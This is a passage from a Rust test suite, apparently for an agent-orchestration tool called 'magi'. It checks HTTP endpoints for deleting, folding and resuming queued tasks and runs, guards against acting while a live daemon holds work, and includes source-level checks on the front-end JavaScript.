13864        let mut root = mk("root");
13865        root.hold_manual(Some("waiting".to_owned()));
13866        q.put(&mut root).unwrap();
13867        let mut mid = mk("mid");
13868        mid.block(vec![root.id.clone()], None);
13869        q.put(&mut mid).unwrap();
13870        let mut leaf = mk("leaf");
13871        leaf.block(vec![mid.id.clone()], None);
13872        q.put(&mut leaf).unwrap();
13873
13874        let list = fx.get("/api/queue").await.json();
13875        let find = |id: &str| {
13876            list.as_array()
13877                .unwrap()
13878                .iter()
13879                .find(|v| v["id"] == id)
13880                .unwrap()
13881                .clone()
13882        };
13883        let leaf_view = find(&leaf.id);
13884        assert_eq!(
13885            leaf_view["waits_on"],
13886            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13887        );
13888        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13889        assert_eq!(
13890            find(&mid.id)["waits_on"],
13891            serde_json::json!([format!("{} (held)", root.short())])
13892        );
13893        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13894    }
13895
13896    #[tokio::test]
13897    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13898        let fx = Fixture::start().await;
13899        let q = fx.queue();
13900
13901        // 1. A queued task with runs attached can be deleted.
13902        let mut t1 = Task::new(
13903            "Task 1".to_owned(),
13904            "Instruction 1".to_owned(),
13905            PathBuf::from("/repo"),
13906            Source::Human,
13907        );
13908        let run_id = "20260901-000000-r111";
13909        t1.runs.push(run_id.to_owned());
13910        write_run(&fx.runs(), run_id, RunStatus::Merged);
13911        q.put(&mut t1).expect("put t1");
13912
13913        // Delete by short id
13914        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13915        assert_eq!(res.status, 204);
13916        assert!(res.body.is_empty(), "204 No Content has no body");
13917        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13918        assert!(
13919            fx.runs().join(run_id).exists(),
13920            "run directory must not be deleted when its task is deleted"
13921        );
13922
13923        // 2. A task a live daemon is running is refused with 409.
13924        let mut t2 = Task::new(
13925            "Task 2".to_owned(),
13926            "Instruction 2".to_owned(),
13927            PathBuf::from("/repo"),
13928            Source::Human,
13929        );
13930        t2.status = TaskStatus::Running;
13931        q.put(&mut t2).expect("put t2");
13932        let mut beat = crate::daemon::Status::new();
13933        beat.current = vec![crate::daemon::Current {
13934            task: t2.id.clone(),
13935            run: "20260901-000000-r222".to_owned(),
13936        }];
13937        beat.updated_at = jiff::Timestamp::now();
13938        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13939            .expect("publish a heartbeat");
13940        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13941        assert_eq!(res.status, 409);
13942        assert!(
13943            res.json()["error"]
13944                .as_str()
13945                .unwrap()
13946                .contains("live daemon")
13947        );
13948        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13949
13950        // 3. The same `running` status and an orphaned lock, with no daemon
13951        // behind either, is a leftover and deletable. Before this the phone
13952        // refused it for good: the status never changes on its own and
13953        // nothing drops a lock whose process is gone.
13954        // The daemon is killed: the file stays, the heartbeat stops.
13955        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13956        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13957            .expect("leave a stale heartbeat");
13958        let mut t3 = Task::new(
13959            "Task 3".to_owned(),
13960            "Instruction 3".to_owned(),
13961            PathBuf::from("/repo"),
13962            Source::Human,
13963        );
13964        t3.status = TaskStatus::Running;
13965        q.put(&mut t3).expect("put t3");
13966        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13967        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13968        assert_eq!(res.status, 204);
13969        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13970        assert!(
13971            q.claim(&t3.id).is_ok(),
13972            "the stale lock went with it, so the id is claimable again"
13973        );
13974
13975        // 4. Missing id returns 404
13976        let res = fx.delete("/api/queue/nonexistent").await;
13977        assert_eq!(res.status, 404);
13978    }
13979
13980    #[tokio::test]
13981    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13982        let fx = Fixture::start().await;
13983        let runs = fx.runs();
13984
13985        // 1. Finished and folded run can be deleted along with artifacts
13986        let run_id = "20260901-000000-fold";
13987        let mut state = RunState::new(
13988            PathBuf::from("/repo"),
13989            "main".to_owned(),
13990            "abc".to_owned(),
13991            "instruction".to_owned(),
13992            Config::default(),
13993        );
13994        state.id = run_id.to_owned();
13995        state.status = RunStatus::Merged;
13996        state.candidates.push(crate::run::Candidate {
13997            index: 0,
13998            label: 'A',
13999            agent: "a".to_owned(),
14000            branch: "b".to_owned(),
14001            worktree: PathBuf::from("/w"),
14002            summary: String::new(),
14003            stat: String::new(),
14004            files: 1,
14005            commits: 1,
14006            empty: false,
14007            failed: None,
14008            verified_noop: None,
14009            duration_ms: 0,
14010            folded: true,
14011        });
14012        let dir = runs.join(run_id);
14013        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14014        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14015            .expect("write artifact");
14016        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14017            .expect("write run.json");
14018
14019        // Delete by short id
14020        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14021        assert_eq!(res.status, 204);
14022        assert!(res.body.is_empty(), "204 has no body");
14023        assert!(!dir.exists(), "run directory and artifacts must be deleted");
14024
14025        // 2. A run a live daemon is working on is refused with 409. The
14026        // heartbeat is what makes it refusable: an unfinished run with no
14027        // daemon behind it is a leftover from a killed process, and case 1
14028        // above would otherwise be impossible to tell apart from this one.
14029        let run_running = "20260901-000000-rung";
14030        write_run(&runs, run_running, RunStatus::Prep);
14031        let mut beat = crate::daemon::Status::new();
14032        beat.current = vec![crate::daemon::Current {
14033            task: "20260901-000000-task".to_owned(),
14034            run: run_running.to_owned(),
14035        }];
14036        beat.updated_at = jiff::Timestamp::now();
14037        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14038            .expect("publish a heartbeat");
14039        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14040        assert_eq!(res.status, 409);
14041        assert!(
14042            res.json()["error"]
14043                .as_str()
14044                .unwrap()
14045                .contains("live daemon"),
14046            "the refusal must say who is holding it"
14047        );
14048        assert!(
14049            runs.join(run_running).exists(),
14050            "a run in flight keeps its directory"
14051        );
14052
14053        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
14054        let run_unfolded = "20260901-000000-unfd";
14055        let mut state2 = RunState::new(
14056            PathBuf::from("/repo"),
14057            "main".to_owned(),
14058            "abc".to_owned(),
14059            "instruction".to_owned(),
14060            Config::default(),
14061        );
14062        state2.id = run_unfolded.to_owned();
14063        state2.status = RunStatus::Ready;
14064        state2.candidates.push(crate::run::Candidate {
14065            index: 0,
14066            label: 'A',
14067            agent: "a".to_owned(),
14068            branch: "b".to_owned(),
14069            worktree: PathBuf::from("/w"),
14070            summary: String::new(),
14071            stat: String::new(),
14072            files: 1,
14073            commits: 1,
14074            empty: false,
14075            failed: None,
14076            verified_noop: None,
14077            duration_ms: 0,
14078            folded: false,
14079        });
14080        let dir2 = runs.join(run_unfolded);
14081        std::fs::create_dir_all(&dir2).expect("create dir2");
14082        std::fs::write(
14083            dir2.join("run.json"),
14084            serde_json::to_string(&state2).unwrap(),
14085        )
14086        .expect("write run.json");
14087
14088        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14089        assert_eq!(res.status, 409);
14090        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14091        assert!(dir2.exists(), "unfolded run directory is kept");
14092
14093        // 4. Missing id returns 404
14094        let res = fx.delete("/api/runs/nonexistent").await;
14095        assert_eq!(res.status, 404);
14096    }
14097
14098    /// The queue tiles on the Stats tab must render even on a home with no
14099    /// runs at all: queue state is not derived from run history, so hiding
14100    /// the whole dashboard body behind "no runs yet" would drop the one
14101    /// thing this tab promises unconditionally (queued/running/held/done).
14102    /// A DOM-level test would need a browser this suite does not have, so
14103    /// this pins the same invariant textually: `renderStatsQueue` is called
14104    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
14105    /// block that gates the run-derived panels.
14106    #[test]
14107    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14108        let start = APP_JS
14109            .find("function renderStats() {")
14110            .expect("renderStats");
14111        let end = start
14112            + APP_JS[start..]
14113                .find("function statsTile(")
14114                .expect("the next top-level function");
14115        let body = &APP_JS[start..end];
14116
14117        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14118        let gate_end = gate_start
14119            + body[gate_start..]
14120                .find("}\n  renderStatsQueue")
14121                .expect("the gate's own closing brace, right before the unconditional call");
14122        let gated = &body[gate_start..gate_end];
14123
14124        assert_eq!(
14125            body.matches("renderStatsQueue(").count(),
14126            1,
14127            "renderStats must call renderStatsQueue exactly once: {body}"
14128        );
14129        assert!(
14130            !gated.contains("renderStatsQueue"),
14131            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14132             run-derived panels on an empty run history - the queue panel has to render \
14133             regardless: {gated}"
14134        );
14135    }
14136
14137    #[test]
14138    fn web_ui_delete_contract_in_front_end() {
14139        // 1. API block has both delete endpoints
14140        assert!(APP_JS.contains("deleteRun:"));
14141        assert!(APP_JS.contains("deleteTask:"));
14142
14143        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
14144        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14145            ..APP_JS.find("function renderRuns").unwrap()];
14146        assert!(!run_cards_slice.to_lowercase().contains("delete"));
14147
14148        // 3. Run detail has delete entry and reasons
14149        assert!(APP_JS.contains("renderRunDelete"));
14150        assert!(APP_JS.contains("runDeleteReason"));
14151        assert!(APP_JS.contains("magi fold"));
14152        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14153
14154        // 4. Two-step delete arming and focus on Cancel
14155        assert!(APP_JS.contains("cancel.focus"));
14156        assert!(APP_JS.contains("armedRunDelete"));
14157        assert!(APP_JS.contains("renderTaskDeleteBox"));
14158        assert!(APP_JS.contains("armed${cap(key)}"));
14159
14160        // 5. Running task has disabled delete
14161        assert!(APP_JS.contains("disabled: status === \"running\""));
14162    }
14163
14164    /// Every element a run card's updater reaches for must be in the `refs`
14165    /// the builder handed it.
14166    ///
14167    /// `createRunCard` builds its elements, appends them to the card, and then
14168    /// lists them again in `row.refs`. That second list is the one the updater
14169    /// uses, and nothing connects the two - an element can be built, appended
14170    /// and rendered, and still be missing from `refs`. `superseded` was, for
14171    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
14172    /// exception took `syncList` with it, and the deck showed
14173    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
14174    /// line is computed before the cards, which is why the failure looked like
14175    /// a server that had lost its runs rather than a front end that had
14176    /// stopped rendering them.
14177    ///
14178    /// A `cargo test` cannot execute the front end, so this reads the two
14179    /// halves out of the source and compares them as sets. It is not a check
14180    /// on the wording of either list: adding an element, renaming one, or
14181    /// reordering them all keeps this passing, and only using one the builder
14182    /// never published fails it.
14183    #[test]
14184    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14185        let build = APP_JS
14186            .find("function createRunCard")
14187            .expect("createRunCard exists");
14188        let update = APP_JS
14189            .find("function updateRunCard")
14190            .expect("updateRunCard exists");
14191        let end = APP_JS
14192            .find("function renderRuns")
14193            .expect("renderRuns exists");
14194
14195        // The builder's published set: the object literal assigned to `refs`.
14196        let builder = &APP_JS[build..update];
14197        let open = builder.find("refs = {").expect("createRunCard sets refs");
14198        let literal = &builder[open + "refs = {".len()..];
14199        let close = literal.find('}').expect("the refs literal is closed");
14200        let published: HashSet<&str> = literal[..close]
14201            .split(',')
14202            // `name` and `name: value` both bind `name`.
14203            .filter_map(|entry| entry.split(':').next())
14204            .map(str::trim)
14205            .filter(|name| !name.is_empty())
14206            .collect();
14207        assert!(
14208            published.len() > 5,
14209            "the refs literal did not parse into names: {published:?}"
14210        );
14211
14212        // What the updaters reach for: every `r.<name>`, where `r` is the
14213        // `const r = row.refs` alias both functions open with.
14214        let mut used: Vec<&str> = Vec::new();
14215        let updaters = &APP_JS[update..end];
14216        for (at, _) in updaters.match_indices("r.") {
14217            // `r` must be the whole identifier, not the tail of another one
14218            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
14219            let before = updaters[..at].chars().next_back();
14220            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14221                continue;
14222            }
14223            let rest = &updaters[at + 2..];
14224            let len = rest
14225                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14226                .unwrap_or(rest.len());
14227            if len > 0 {
14228                used.push(&rest[..len]);
14229            }
14230        }
14231        assert!(
14232            used.len() > 5,
14233            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14234        );
14235
14236        let missing: Vec<&str> = used
14237            .iter()
14238            .copied()
14239            .filter(|name| !published.contains(name))
14240            .collect();
14241        assert!(
14242            missing.is_empty(),
14243            "a run card's updater reaches for {missing:?}, which `createRunCard` \
14244             never put in `refs` - every card will throw and the list will \
14245             render empty under a count line that says otherwise. Published: \
14246             {published:?}"
14247        );
14248    }
14249
14250    #[tokio::test]
14251    async fn folding_from_the_phone_reports_what_it_removed() {
14252        let fx = Fixture::start().await;
14253        let runs = fx.runs();
14254
14255        // A run with no candidates has nothing to fold, which is a 200 with an
14256        // honest count rather than an error: the operator asked for the trees
14257        // to be gone and they are.
14258        let id = "20260901-000000-fold";
14259        write_run(&runs, id, RunStatus::Stalled);
14260        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14261        assert_eq!(res.status, 200);
14262        assert_eq!(res.json()["removed_count"], 0);
14263        assert_eq!(res.json()["run"], id);
14264        assert!(
14265            runs.join(id).exists(),
14266            "a fold keeps the run's record; only the worktrees go"
14267        );
14268    }
14269
14270    #[tokio::test]
14271    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14272        let fx = Fixture::start().await;
14273        let runs = fx.runs();
14274        let wt = fx.home.path().join("wt").join("magi").join("dead");
14275        let id = "20260901-000000-dead";
14276        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14277        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14278        std::fs::create_dir_all(&wt).expect("worktree dir");
14279
14280        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14281        assert_eq!(res.status, 200, "{}", res.body);
14282        assert!(
14283            res.json()["removed_count"].as_u64().unwrap() > 0,
14284            "the worktree this build could not read a state for still went"
14285        );
14286        assert!(
14287            !runs.join(id).exists(),
14288            "an unreadable run has no candidate list to fold selectively, so \
14289             the whole record goes - same as `magi fold` on the CLI"
14290        );
14291    }
14292
14293    #[tokio::test]
14294    async fn deleting_an_unreadable_run_removes_it_wholesale() {
14295        let fx = Fixture::start().await;
14296        let runs = fx.runs();
14297        let wt = fx.home.path().join("wt").join("magi").join("gone");
14298        let id = "20260901-000000-gone";
14299        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14300        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14301        std::fs::create_dir_all(&wt).expect("worktree dir");
14302
14303        let res = fx.delete(&format!("/api/runs/{id}")).await;
14304        assert_eq!(res.status, 204, "{}", res.body);
14305        assert!(!runs.join(id).exists(), "the broken record is gone");
14306        assert!(!wt.exists(), "its worktree is gone too");
14307    }
14308
14309    #[tokio::test]
14310    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14311        let fx = Fixture::start().await;
14312        let runs = fx.runs();
14313        let id = "20260901-000000-live";
14314        write_run(&runs, id, RunStatus::Implementing);
14315
14316        let mut beat = crate::daemon::Status::new();
14317        beat.current = vec![crate::daemon::Current {
14318            task: "20260901-000000-task".to_owned(),
14319            run: id.to_owned(),
14320        }];
14321        beat.updated_at = jiff::Timestamp::now();
14322        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14323            .expect("publish a heartbeat");
14324
14325        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14326        assert_eq!(res.status, 409);
14327        assert!(
14328            res.json()["error"]
14329                .as_str()
14330                .unwrap()
14331                .contains("live daemon"),
14332            "folding under a running agent would pull its worktree away"
14333        );
14334    }
14335
14336    #[tokio::test]
14337    async fn fold_merged_requires_a_pr_url() {
14338        let fx = Fixture::start().await;
14339        let runs = fx.runs();
14340        let id = "20260901-000000-nourl";
14341        write_run(&runs, id, RunStatus::Blocked);
14342
14343        let res = fx
14344            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14345            .await;
14346        assert_eq!(res.status, 400, "{}", res.body);
14347
14348        let blank = fx
14349            .post(
14350                &format!("/api/runs/{id}/fold-merged"),
14351                Some(r#"{"pr_url":"   "}"#),
14352            )
14353            .await;
14354        assert_eq!(blank.status, 400, "{}", blank.body);
14355    }
14356
14357    #[tokio::test]
14358    async fn fold_merged_is_404_for_an_unknown_run() {
14359        let fx = Fixture::start().await;
14360        let res = fx
14361            .post(
14362                "/api/runs/nosuchrun/fold-merged",
14363                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14364            )
14365            .await;
14366        assert_eq!(res.status, 404, "{}", res.body);
14367    }
14368
14369    #[tokio::test]
14370    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14371        let fx = Fixture::start().await;
14372        let runs = fx.runs();
14373        let id = "20260901-000000-livemerge";
14374        write_run(&runs, id, RunStatus::Blocked);
14375
14376        let mut beat = crate::daemon::Status::new();
14377        beat.current = vec![crate::daemon::Current {
14378            task: "20260901-000000-task".to_owned(),
14379            run: id.to_owned(),
14380        }];
14381        beat.updated_at = jiff::Timestamp::now();
14382        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14383            .expect("publish a heartbeat");
14384
14385        let res = fx
14386            .post(
14387                &format!("/api/runs/{id}/fold-merged"),
14388                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14389            )
14390            .await;
14391        assert_eq!(res.status, 409, "{}", res.body);
14392        assert!(
14393            res.json()["error"]
14394                .as_str()
14395                .unwrap()
14396                .contains("live daemon"),
14397            "correcting a run's merge underneath a running agent would race \
14398             whatever it is doing to the same `status`/`merge` fields"
14399        );
14400    }
14401
14402    /// A pull request `gh` cannot even ask about (no such remote, no such
14403    /// repository) must never be recorded as a merge on a guess - the same
14404    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
14405    /// command line, reached here through the phone route instead.
14406    #[tokio::test]
14407    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14408        let fx = Fixture::start().await;
14409        let runs = fx.runs();
14410        let id = "20260901-000000-unconfirmed";
14411        write_run(&runs, id, RunStatus::Blocked);
14412
14413        let res = fx
14414            .post(
14415                &format!("/api/runs/{id}/fold-merged"),
14416                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14417            )
14418            .await;
14419        assert_eq!(res.status, 400, "{}", res.body);
14420        assert_eq!(
14421            read_run(&runs, id).unwrap().status,
14422            RunStatus::Blocked,
14423            "a pull request that could not be confirmed merged must leave \
14424             the run exactly where it was"
14425        );
14426    }
14427
14428    #[tokio::test]
14429    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14430        let fx = Fixture::start().await;
14431        let runs = fx.runs();
14432
14433        // Only a finished run and a failed one. An *interrupted* run - a
14434        // parked one, or one whose daemon was killed mid-node - is the case
14435        // resuming exists for: run 4043 sat at `reviewing` with the deck
14436        // saying it could not be resumed, which was the one state where
14437        // resuming was the only sensible answer.
14438        for (status, word) in [
14439            (RunStatus::Merged, "merged"),
14440            (RunStatus::Ready, "ready"),
14441            (RunStatus::Failed, "failed"),
14442        ] {
14443            let id = format!("20260901-000000-{}", &word[..4]);
14444            write_run(&runs, &id, status);
14445            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14446            assert_eq!(res.status, 409, "{word} must not be resumable");
14447            let err = res.json()["error"].as_str().unwrap().to_owned();
14448            assert!(err.contains(word), "the refusal names the status: {err}");
14449        }
14450
14451        // And an interrupted run is accepted: 202, with the resume running in
14452        // the background. `Runner::resume` fails immediately here - the
14453        // fixture's run points at a repository that does not exist - which is
14454        // the point: the handler must not wait for it to find out.
14455        let mid = "20260901-000000-midf";
14456        write_run(&runs, mid, RunStatus::Reviewing);
14457        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14458        assert_eq!(res.status, 202, "an interrupted run is resumable");
14459    }
14460
14461    #[tokio::test]
14462    async fn resume_is_refused_while_the_loop_is_running() {
14463        let fx = Fixture::start().await;
14464        let runs = fx.runs();
14465        let stalled = "20260901-000000-stal";
14466        write_run(&runs, stalled, RunStatus::Stalled);
14467
14468        // The loop is busy with a *different* run, and that is still a
14469        // refusal: a manual resume must never race whatever the loop itself
14470        // is already driving, whether that is one run or several.
14471        let mut beat = crate::daemon::Status::new();
14472        beat.current = vec![crate::daemon::Current {
14473            task: "20260901-000000-task".to_owned(),
14474            run: "20260901-000000-othr".to_owned(),
14475        }];
14476        beat.updated_at = jiff::Timestamp::now();
14477        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14478            .expect("publish a heartbeat");
14479
14480        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14481        assert_eq!(res.status, 409);
14482        let err = res.json()["error"].as_str().unwrap().to_owned();
14483        assert!(err.contains("othr"), "it names what the loop is on: {err}");
14484        assert!(err.contains("stop it first"), "{err}");
14485    }
14486
14487    #[test]
14488    fn a_run_cannot_be_resumed_twice_at_once() {
14489        let home = TempDir::new().expect("temp home");
14490        let ui = Ui::new(
14491            Queue::at(home.path().join("queue")),
14492            Questions::at(home.path().join("questions")),
14493            Talks::at(home.path().join("talks")),
14494            home.path().join("runs"),
14495            home.path().to_path_buf(),
14496            PathBuf::from("/repo"),
14497        )
14498        .with_worktrees_root(home.path().join("wt"));
14499        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14500        let again = ui.begin_resume("20260901-000000-once");
14501        assert!(again.is_err(), "a second tap must not start a second graph");
14502        drop(first);
14503        assert!(
14504            ui.begin_resume("20260901-000000-once").is_ok(),
14505            "and the claim is released when the attempt ends"
14506        );
14507    }
14508
14509    #[test]
14510    fn talk_thinking_tracks_only_its_held_turn_claim() {
14511        let home = TempDir::new().expect("temp home");
14512        let ui = Ui::new(
14513            Queue::at(home.path().join("queue")),
14514            Questions::at(home.path().join("questions")),
14515            Talks::at(home.path().join("talks")),
14516            home.path().join("runs"),
14517            home.path().to_path_buf(),
14518            PathBuf::from("/repo"),
14519        )
14520        .with_worktrees_root(home.path().join("wt"));
14521        let id = "20260901-000000-once";
14522
14523        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14524        let turn = ui.begin_talk_turn(id).expect("claim turn");
14525        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14526        assert!(
14527            !ui.is_thinking("20260901-000000-other"),
14528            "one talk's turn does not make another talk busy"
14529        );
14530        drop(turn);
14531        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14532    }
14533
14534    #[test]
14535    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14536        let home = TempDir::new().expect("temp home");
14537        let talks = Talks::at(home.path().join("talks"));
14538        let ui = Ui::new(
14539            Queue::at(home.path().join("queue")),
14540            Questions::at(home.path().join("questions")),
14541            talks.clone(),
14542            home.path().join("runs"),
14543            home.path().to_path_buf(),
14544            PathBuf::from("/repo"),
14545        )
14546        .with_worktrees_root(home.path().join("wt"));
14547        let id = "20260901-000000-cross";
14548
14549        let other = Talks::at(home.path().join("talks"))
14550            .claim_turn(id)
14551            .expect("claim")
14552            .expect("the other process wins");
14553        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14554        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14555        assert!(
14556            matches!(
14557                ui.begin_talk_turn_unless_pending(id).expect("start"),
14558                TalkTurnStart::Foreign
14559            ),
14560            "a foreign holder is refused, not queued behind"
14561        );
14562        assert!(
14563            !ui.talk_turns.lock().unwrap().live.contains(id),
14564            "a refused claim leaves no in-process entry behind"
14565        );
14566        drop(other);
14567        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14568        assert!(talks.turn_held(id), "the web turn holds the lease");
14569        drop(turn);
14570        assert!(
14571            !talks.turn_held(id),
14572            "dropping the guard releases the lease"
14573        );
14574    }
14575
14576    #[test]
14577    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14578        let home = TempDir::new().expect("temp home");
14579        let talks = Talks::at(home.path().join("talks"));
14580        let ui = Ui::new(
14581            Queue::at(home.path().join("queue")),
14582            Questions::at(home.path().join("questions")),
14583            talks.clone(),
14584            home.path().join("runs"),
14585            home.path().to_path_buf(),
14586            PathBuf::from("/repo"),
14587        )
14588        .with_worktrees_root(home.path().join("wt"));
14589        let id = "20260901-000000-order";
14590        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14591        // Hold the slot mutex so the drop can finish the lease but not the slot.
14592        let slots = ui.talk_turns.lock().unwrap();
14593        let dropper = std::thread::spawn(move || drop(turn));
14594        let start = std::time::Instant::now();
14595        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14596            std::thread::sleep(Duration::from_millis(5));
14597        }
14598        assert!(!talks.turn_held(id), "the lease is released first");
14599        assert!(slots.live.contains(id), "the slot is still held meanwhile");
14600        drop(slots);
14601        dropper.join().expect("join");
14602        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14603    }
14604
14605    #[tokio::test]
14606    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14607        let fx = Fixture::start().await;
14608        // Somebody else's `magi serve` owns the queue. Replacing this binary
14609        // would leave that process running an old one against the same
14610        // claims, which is worse than refusing.
14611        let mut beat = crate::daemon::Status::new();
14612        beat.pid = 4321;
14613        beat.updated_at = jiff::Timestamp::now();
14614        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14615            .expect("publish a heartbeat");
14616
14617        let res = fx.post("/api/upgrade", None).await;
14618        assert_eq!(res.status, 409);
14619        let err = res.json()["error"].as_str().unwrap().to_owned();
14620        assert!(err.contains("4321"), "the refusal names the owner: {err}");
14621        assert!(err.contains("old one against the same queue"), "{err}");
14622    }
14623
14624    /// [`should_spawn_recheck`] must refuse for the same two reasons
14625    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
14626    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
14627    /// Purely a predicate over config and the environment - no network, no
14628    /// disk, no runtime - so unlike the fixture-based tests around it this
14629    /// one needs neither.
14630    #[test]
14631    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14632        assert!(!should_spawn_recheck(&crate::config::Update {
14633            mode: UpdateMode::Off,
14634            interval: None,
14635        }));
14636
14637        // SAFETY: single-threaded as far as this variable goes, the same
14638        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14639        unsafe {
14640            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14641        }
14642        let killed = should_spawn_recheck(&crate::config::Update {
14643            mode: UpdateMode::Notify,
14644            interval: None,
14645        });
14646        unsafe {
14647            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14648        }
14649        assert!(
14650            !killed,
14651            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14652             one-time startup check"
14653        );
14654
14655        assert!(should_spawn_recheck(&crate::config::Update {
14656            mode: UpdateMode::Notify,
14657            interval: None,
14658        }));
14659    }
14660
14661    /// [`recheck_poll_period`] must track a configured `[update] interval`
14662    /// shorter than its own default ceiling - a fixed sleep here would leave
14663    /// an operator's short interval waiting on the next wake-up instead of on
14664    /// `should_check`, which is the same bug this whole task exists to fix,
14665    /// just one level down.
14666    #[test]
14667    fn recheck_poll_period_tracks_a_short_configured_interval() {
14668        let short = crate::config::Update {
14669            mode: UpdateMode::Notify,
14670            interval: Some("1m".to_owned()),
14671        };
14672        let period = recheck_poll_period(&short);
14673        assert!(
14674            period <= Duration::from_secs(30),
14675            "a one-minute interval must wake the task far sooner than the \
14676             default ceiling, or the deck would not notice within the \
14677             interval the operator configured: got {period:?}"
14678        );
14679
14680        let default = crate::config::Update {
14681            mode: UpdateMode::Notify,
14682            interval: None,
14683        };
14684        assert_eq!(
14685            recheck_poll_period(&default),
14686            UPDATE_RECHECK_POLL_MAX,
14687            "the default day-long interval should poll at the (capped) \
14688             ceiling rather than needlessly often"
14689        );
14690    }
14691
14692    /// [`update_recheck_due`] must not repeat a check made moments ago, the
14693    /// same throttle `updater::Checker::should_check` already gives the
14694    /// CLI's notify mode. Built over an explicit state file via
14695    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
14696    /// write the operator's real `last_update_check.json` - and therefore
14697    /// cannot flake on whatever that file happens to say on the machine
14698    /// running the test.
14699    #[test]
14700    fn recheck_skips_the_network_before_the_interval_elapses() {
14701        let dir = TempDir::new().expect("temp dir");
14702        let path = dir.path().join("state.json");
14703        let state = kaishin::UpdateCheckState {
14704            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14705            last_known_latest: None,
14706            last_known_url: None,
14707        };
14708        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14709
14710        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14711        assert!(
14712            !update_recheck_due(&checker, None),
14713            "a check made moments ago must not be repeated before the \
14714             configured interval elapses"
14715        );
14716    }
14717
14718    /// An upgrade this deck already started must not be raced by a recheck
14719    /// that discovers a newer release mid-install - regardless of what
